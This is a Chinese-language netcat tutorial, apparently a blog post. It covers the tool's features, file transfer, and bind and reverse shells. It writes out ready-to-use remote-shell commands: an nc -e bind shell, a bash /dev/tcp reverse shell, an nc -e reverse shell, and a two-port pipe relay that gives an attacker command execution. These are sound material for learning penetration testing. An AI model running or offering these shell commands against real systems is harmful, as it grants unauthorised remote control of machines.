一:Netcat简介
netcat称为网络工具中的瑞士军刀,体积小巧,但功能强大,为了方便常用nc作为其简称。 它可以在两台设备上面相互交互,主要就是侦听模式和传输模式。大致功能如下:
Telnet功能
获取banner信息
传输文本信息
传输文件/目录
加密传输文件,默认不加密
远程控制
加密所有流量
流媒体服务器
远程克隆硬盘
二:工具下载
1. windows系统
2.linux系统
三:常用参数
四:常用功能
1.连接通讯
实现连接通讯
双方可以互相通信,输入的数据另一端也可以显示
2.文件传输
首先在win上创建一个文本
[1]接收端开启接收

[2]传输端开启传输
[3]文件成功传输
3.传输shell
shell传输分为正向shell和反向shell ,理解正向和反向,主要就是分清客户端和服务端
[1] 正向shell
正向就是客户端主动连接服务端,也就是我们去找目标拿权限,获取服务端的shell,这里我们把kali作为客户端,来正向获取windows的shell权限
- 服务端:nc -lvp 端口 -e /bin/sh
- //正向需要经过服务端的防火墙,所以在这一步之前要先关闭防火墙
- 客户端:nc 服务端ip 端口
服务段开始监听
客户端连接
这里因为没有关服务端防火墙,所以连接失败,接下来试试反向shell
[2]反向shell
服务端反弹shell: bash反弹:bash -i >& /dev/tcp/客户端ip/端口 0>&1
nc反 弹 :nc -e /bin/bash 客户端ip 端口
//反弹姿势还有很多,这里只列举了两种客户端开启监听: nc -lvp 端口
巧技
在用nc的正向shell时不仅要关心防火墙的情况,还要注意-e参数是否被支持,看看初始命令
nc -e /bin/bash 客户端ip 端口
如果此时-e参数不被支持,但你仍然想使用正向shell建立连接,应该怎么办呢?这就是要给大家讲的小技巧——nc串连,具体命令如下:
nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip 第二个端口
语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口,此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现攻击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果
网友评论